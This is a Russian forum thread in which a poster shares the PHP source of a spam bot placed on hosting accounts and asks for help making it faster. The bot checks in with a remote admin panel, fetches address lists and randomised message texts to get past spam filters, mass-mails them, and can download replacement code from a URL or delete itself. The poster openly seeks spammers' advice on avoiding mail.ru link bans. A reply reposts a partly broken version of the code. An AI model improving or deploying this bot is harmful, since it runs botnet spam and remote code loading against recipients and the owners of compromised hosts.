Есть админка которая управляет скриптами на хостингах. Они рассылают почту. Получают задания,команды и т.д Но часто это вываливается в 502 ошибку для хостинга. Вот код бота,помогите максимально его оптимизировать. PHP: <? $passw = "7777777"; $script_name = "sam_bot.php"; $ver = "1.28"; $adm = "http://xxxx.ru/bot.php"; $zadanie= "http://xxxx.ru/start.inc"; $stat = "http://xxxx.ru/stat.php"; $act= $_POST['act']; $pass = $_POST['pass']; $pass_g = $_GET['pass']; if($pass != $passw && $pass_g != $passw ){echo "Пароль не верный";exit;} if($act == "del_conf") { if (unlink('config.bt')) { echo "<br> - <font color=green>Фаил конфигурации удален</font>"; } else { echo "<br> - <font color=red>Ошибка при удалении файла</font>"; } register($adm,1); } ///////////////////////////////////////////////// if($act == "update") { $new_url = $_POST['new_url']; $code = ccurl ($new_url,""); $fp = fopen($script_name, 'w'); // Текстовый режим fputs ($fp,$code); echo "UPDATE - OK-"; } ///////////////////////////////////////////////// if (!file_exists('config.bt')) {// первый запуск register($adm,0); }else{ if($act != "opros") { // no first otstuk otvet($adm,$ver); // выполняем ответ серверу $fp = ccurl($zadanie,""); // Парсим задание if($fp!= "") { $zadanie = $fp; } list($start,$link_mail,$link_text,$link_conf,$mac) = explode("<-->",$zadanie); // задание тут if($start=="1") { start ($link_mail,$link_text,$link_conf,$mac,$adm,$stat); // начинаем рассылку } } } if($act == "opros") { otvet($adm,$ver); // выполняем ответ серверу $time = $_POST['time'] - time(); echo " | ответ занял $time секунд"; } if($act == "armagedon") { if (unlink('config.bt')) { echo "<br> - <font color=green>Фаил конфигурации удален</font>"; } else { echo "<br> - <font color=red>Ошибка при удалении файла</font>"; } $bot = str_replace("/","",$script_name); if (unlink($bot)) { echo "<br> - <font color=green>Фаил бота удален</font>"; } else { echo "<br> - <font color=red>Ошибка при удалении файла</font>"; } } function otvet ($adm,$ver) { $file = fopen("config.bt","r"); while (!feof ($file) ) { $conf = fgets($file); } list($id,$kontr) = explode("<!-!>",$conf); $ip=$_SERVER['REMOTE_ADDR']; $code_site=ccurl($adm,"ip=$ip&id=$id&act=otstuk&ver=$ver"); // передаем админке наши данные if($code_site == "stop"){echo "<font color=red>Отключен</font>";exit();} if($code_site == "OK"){echo "<font color=green>Готов</font>";} } function register ($adm,$aa) { $ip=$_SERVER['REMOTE_ADDR']; $name= $_SERVER['HTTP_HOST']; $url= "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']; if($_POST['name'] != "") {$name=$_POST['name'];} if($_POST['type'] != "") {$type="&type=$_POST[type]";} $fp = fopen('config.bt', 'w'); // Текстовый режим if($fp != FALSE) { $code_site=ccurl($adm,"ip=$ip&name=$name&url=$url&act=first&type=$type&rereg=$aa"); // редаем админке наши данные }else{ die("Нет прав на создание файла конфигурации. Регистрация невозможна :("); } fputs ($fp,$code_site); if($_POST['act']=="del_conf") {echo "<br> - Перерегистрировался успешно. Новые данные : $code_site";} exit(); } function start($link_mail,$link_text,$link_conf,$mac,$adm,$stat){ $file = fopen("config.bt","r"); while (!feof ($file) ) { $conf = fgets($file); } list($id,$kontr) = explode("<!-!>",$conf); $kontr = ccurl("http://10000maek.ru/go.php?&act=kontr",""); // if($link_mail == "") {echo "<font color=red>Нет ссылки для получения мыл</font>";exit;} if($link_text == "") {echo "<font color=red>Нет ссылки для получения текста</font>";exit;} $mail=ccurl($link_mail,""); // получаем список мыл $text =ccurl($link_text,""); // получаем text $config =ccurl($link_conf,""); // получаем configuratin if($mail =="") {echo "нет мыл"; exit;} if($config =="") {echo "нет конфига"; exit;} if($text =="") {echo "нет текста"; exit;} $mail = str_replace("<br>",",",$mail)."$kontr"; echo " и начал рассылку.".time()."<br>"; list($from,$charset,$bcc,$cc,$subject,$plane) = explode("<!-=-!>",$config); $to= "$mail" ; //обратите внимание на запятую /* тема/subject */ $subject = urlencode ($subject); $subject = str_replace ('%', '=', $subject); $subject = str_replace ('+', '_', $subject); $subject = '=?UTF-8?Q?'.$subject.'?='; //$from = urlencode ($from); echo "<br>".$from."<br>"; if (preg_match ('#(.*)\s?<(.*)>#', $from, $mail)) { $mail[1] = urlencode ($mail[1]); $mail[1] = str_replace ('%', '=', $mail[1]); $mail[1] = str_replace ('+', '_', $mail[1]); $itog_from = '=?UTF-8?Q?'.$mail[1].'?= <'.$mail[2].'>'; } else { $itog_from = "$from"; } /* Для отправки HTML-почты вы можете установить шапку Content-type. */ $headers= "MIME-Version: 1.0\r\n"; $headers .= "Content-type: text/$plane; charset=\"$charset\" \r\n"; $headers.="X-Priority: 3 (Normal)\r\n"; /* дополнительные шапки */ $headers .= "From: $itog_from\r\n"; //$headers .= "Cc: $cc\r\n"; //$headers .= "Bcc: $bcc\r\n"; $rand=rand(11111111,999999999999); $headers.= "Message-ID: <172562218.".date("YmjHis")."@$rand>\r\n"; $good=0; $bad=0; /* и теперь отправим из */ $mail_array = explode(",", $to); $poz=0; $kolvo=count($mail_array); $url_mac=$mac."&lim=$kolvo"; //$text_m = ccurl($url_mac,""); //$text_m = str_replace("<br>",",",$text_m); //$text_array = explode(",", $text_m); foreach($mail_array as $key => $value) { if($poz==10) { $text =ccurl($link_text,""); // получаем text $poz=0; }else{ $poz++; } //$mac=$text_array[$poz]; list($value,$fio) = explode(":",$value); $text_v = str_replace ("%TO%",$value,$text); $text_v = str_replace ("%DATE%",date("j.n.Y"),$text_v); $text_v = str_replace ("%FIO%",$fio,$text_v); $text_v = str_replace ("%RAND1%",rand(1,9),$text_v); $text_v = str_replace ("%RAND2%",rand(11,99),$text_v); $text_v = str_replace ("%RAND3%",rand(111,999),$text_v); $text_v = str_replace ("%RAND4%",rand(1111,9999),$text_v); $text_v = str_replace ("%RAND6%",rand(111111,999999),$text_v); $text_v = str_replace ("%RAND7%",rand(1111111,9999999),$text_v); $text_v = str_replace ("%RAND10%",rand(1111111111,9999999999),$text_v); //$text_v = str_replace("%mac%",$mac,$text_v); $len = rand(15, 25); $alph = 'ABCDEFGH IJKLMKPQR STUVWXYZ123456789 '; $str=0; $poz=0; for($i=1; $i<=$len; $i++) { $poz = rand(0, strlen($alph)-1); $str.= $alph{$poz}; } $text_v = str_replace("%RANDT%",$str,$text_v); $str=""; if(mail($value, $subject, $text_v, $headers)) {$good++;}else{$bad++;} За говнокод не пинать)))))
-=Zhenek=- гуглите на тему "профилирование PHP", "поиск узких мест кода", "паттерны программирования", "рефакторинг" Я что-то не пойму, откуда ветер такой подул? Откуда у народа появляется мысль, что сюда можно постить простыню кода и просить "сделайте за меня и не ругайтесь"? Работайте, блин, сами.
PHP: <?php $passw = '7777777'; $script_name = 'sam_bot.php'; $ver = '1.28'; $adm = 'http://xxxx.ru/bot.php'; $zadanie = 'http://xxxx.ru/start.inc'; $stat = 'http://xxxx.ru/stat.php'; $act = isset($_POST['act']) ? $_POST['act'] : null; $pass = isset($_POST['pass']) ? $_POST['pass'] : null; $pass_g = isset($_GET['pass']) ? $_GET['pass'] : null; if ($pass != $passw && $pass_g != $passw ){die('Пароль не верный');} if ($act == 'del_conf') { if (unlink('config.bt')) { echo '<br/> - <font color=green>Фаил конфигурации удален</font>'; } else { echo '<br/> - <font color=red>Ошибка при удалении файла</font>'; } register($adm, 1); } ///////////////////////////////////////////////// if ($act == 'update') { $new_url = $_POST['new_url']; $code = ccurl ($new_url, ''); $fp = fopen($script_name, 'w'); // Текстовый режим fputs ($fp,$code); echo 'UPDATE - OK-'; } ///////////////////////////////////////////////// if (!file_exists('config.bt')) // первый запуск { register($adm, 0); } else { if ($act != 'opros') { // no first otstuk otvet($adm, $ver); // выполняем ответ серверу $fp = ccurl($zadanie, ''); // Парсим задание if (!empty($fp)) { $zadanie = $fp; } list($start, $link_mail, $link_text, $link_conf, $mac) = explode('<-->', $zadanie); // задание тут if ($start == '1') { start ($link_mail, $link_text, $link_conf, $mac, $adm, $stat); // начинаем рассылку } } } if($act == 'opros') { otvet($adm, $ver); // выполняем ответ серверу $time = $_POST['time'] - time(); echo ' | ответ занял ' . $time . 'секунд'; } if($act == 'armagedon') { if (unlink('config.bt')) { echo '<br/> - <font color=green>Фаил конфигурации удален</font>'; } else { echo '<br/> - <font color=red>Ошибка при удалении файла</font>'; } $bot = str_replace('/', '', $script_name); if (unlink($bot)) { echo '<br/> - <font color=green>Фаил бота удален</font>'; } else { echo '<br/> - <font color=red>Ошибка при удалении файла</font>'; } } function otvet($adm, $ver) { $file = fopen('config.bt', 'r'); while (!feof ($file)) { $conf = fgets($file); } list($id, $kontr) = explode('<!-!>', $conf); $ip = $_SERVER['REMOTE_ADDR']; $code_site = ccurl($adm, 'ip=' . $ip . '&id=' . $id . '&act=otstuk&ver=' .$ver); // передаем админке наши данные if ($code_site == 'stop') { echo '<font color=red>Отключен</font>'; exit(); } if ($code_site == 'OK') { echo '<font color=green>Готов</font>'; } } function register ($adm, $aa) { $ip = $_SERVER['REMOTE_ADDR']; $name = !empty($_POST['name']) ? $_POST['name'] : $_SERVER['HTTP_HOST']; $url = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF']; if (!empty($_POST['type'])) { $type = '&type=' . $_POST['type']; } if ($fp = fopen('config.bt', 'w')) // Текстовый режим { $code_site = ccurl($adm, 'ip=' . $ip . '&name=' . $name . '&url=' . $url . '&act=first&type=' . $type . '&rereg=' . $aa); // редаем админке наши данные } else { die('Нет прав на создание файла конфигурации. Регистрация невозможна :('); } fputs ($fp, $code_site); if($_POST['act'] == 'del_conf') { echo '<br/> - Перерегистрировался успешно. Новые данные : ' . $code_site; } exit(); } function start($link_mail, $link_text, $link_conf, $mac,$adm, $stat) { $file = fopen('config.bt','r'); while (!feof ($file)) { $conf = fgets($file); } list($id, $kontr) = explode('<!-!>', $conf); $kontr = ccurl('http://10000maek.ru/go.php?&act=kontr', ''); // if($link_mail == '') {echo '<font color=red>Нет ссылки для получения мыл</font>';exit;} if($link_text == '') {echo '<font color=red>Нет ссылки для получения текста</font>';exit;} ail=ccurl($link_mail,''); // получаем список мыл $text =ccurl($link_text,''); // получаем text $config =ccurl($link_conf,''); // получаем configuratin if($mail =='') {echo 'нет мыл'; exit;} if($config =='') {echo 'нет конфига'; exit;} if($text =='') {echo 'нет текста'; exit;} $mail = str_replace('<br>',',',$mail).'$kontr'; echo ' и начал рассылку.'.time().'<br>'; list($from,$charset,$bcc,$cc,$subject,$plane) = explode('<!-=-!>',$config); $to= '$mail' ; //обратите внимание на запятую /* тема/subject */ $subject = urlencode ($subject); $subject = str_replace ('%', '=', $subject); $subject = str_replace ('+', '_', $subject); $subject = '=?UTF-8?Q?'.$subject.'?='; //$from = urlencode ($from); echo '<br>'.$from.'<br>'; if (preg_match ('#(.*)\s?<(.*)>#', $from, $mail)) { $mail[1] = urlencode ($mail[1]); $mail[1] = str_replace ('%', '=', $mail[1]); $mail[1] = str_replace ('+', '_', $mail[1]); $itog_from = '=?UTF-8?Q?'.$mail[1].'?= <'.$mail[2].'>'; } else { $itog_from = '$from'; } /* Для отправки HTML-почты вы можете установить шапку Content-type. */ $headers= 'MIME-Version: 1.0\r\n'; $headers .= 'Content-type: text/$plane; charset=\'$charset\' \r\n'; $headers.='X-Priority: 3 (Normal)\r\n'; /* дополнительные шапки */ $headers .= 'From: $itog_from\r\n'; //$headers .= 'Cc: $cc\r\n'; //$headers .= 'Bcc: $bcc\r\n'; $rand=rand(11111111,999999999999); $headers.= 'Message-ID: <172562218.'.date('YmjHis').'@$rand>\r\n'; $good=0; $bad=0; /* и теперь отправим из */ $mail_array = explode(',', $to); $poz=0; $kolvo=count($mail_array); $url_mac=$mac.'&lim=$kolvo'; //$text_m = ccurl($url_mac,''); //$text_m = str_replace('<br>',',',$text_m); //$text_array = explode(',', $text_m); foreach($mail_array as $key => $value) { if($poz==10) { $text =ccurl($link_text,''); // получаем text $poz=0; }else{ $poz++; } //$mac=$text_array[$poz]; list($value,$fio) = explode(':',$value); $text_v = str_replace ('%TO%',$value,$text); $text_v = str_replace ('%DATE%',date('j.n.Y'),$text_v); $text_v = str_replace ('%FIO%',$fio,$text_v); $text_v = str_replace ('%RAND1%',rand(1,9),$text_v); $text_v = str_replace ('%RAND2%',rand(11,99),$text_v); $text_v = str_replace ('%RAND3%',rand(111,999),$text_v); $text_v = str_replace ('%RAND4%',rand(1111,9999),$text_v); $text_v = str_replace ('%RAND6%',rand(111111,999999),$text_v); $text_v = str_replace ('%RAND7%',rand(1111111,9999999),$text_v); $text_v = str_replace ('%RAND10%',rand(1111111111,9999999999),$text_v); //$text_v = str_replace('%mac%',$mac,$text_v); $len = rand(15, 25); $alph = 'ABCDEFGH IJKLMKPQR STUVWXYZ123456789 '; $str=0; $poz=0; for($i=1; $i<=$len; $i++) { $poz = rand(0, strlen($alph)-1); $str.= $alph{$poz}; } $text_v = str_replace('%RANDT%',$str,$text_v); $str=''; if(mail($value, $subject, $text_v, $headers)) {$good++;}else{$bad++;} осилил только половину
Isis огромное спасибо. У меня есть вопрос. Бот получает от админки уже рендомизированное письмо и шлет его на 10 адресов,потом получает новое и так по кругу. Но когда даешь боту при запуске задания 500 ящиков ему приходится 50 раз запросить письмо.. А размещать рендомизатор на стороне бота плохо(лишние папки при заливке и количество файлов с 1 увеличивается). Как думаете будет лучше сразу запросить 5 вариантов писем и разослать,потом еще 5 или оставить как есть? У скрипта всего 30 сек для получения 50 писем и рассылке со всеми проверками,генерациями потом 502. Хотелось бы еще улсышать мнение спамеров по этому поводу.. Последнее время маил стал жестко банить ссылку после 2к писем раньше после 10к. Вот я и думаю где я ошибаюсь( Всем спасибо за помощь. п.с Gifts совсем не хотел никого напрягать. Если отнял у вас время извиняюсь, но раз я пришел сюда,значит на то была причина и я много читаю, но не все понимаю, стараюсь как могу сделать все сам, если бы не старался,то написал этот пост месяца 4 назад.
Вам не кажется, что ЧСВ у Вас слишком ОВЕР 9к? Расслабьтесь, Вас всего лишь попросили о помощи - нет желания помогать - проходите мимо. Или я в чем-то не прав? // Gifts: мне кажется вы оффтопите и, чтобы у вас не развился комплекс Д'Артаньяна и борца с режимом - я дам вам возможность прочитать этот комментарий. //Gifts: Отвечу тут же: тема нарушает сразу два правила данного раздела п.2 и п.4, но заметьте - я мало что не удалил топик, а ответил на вопрос. Ферштейн?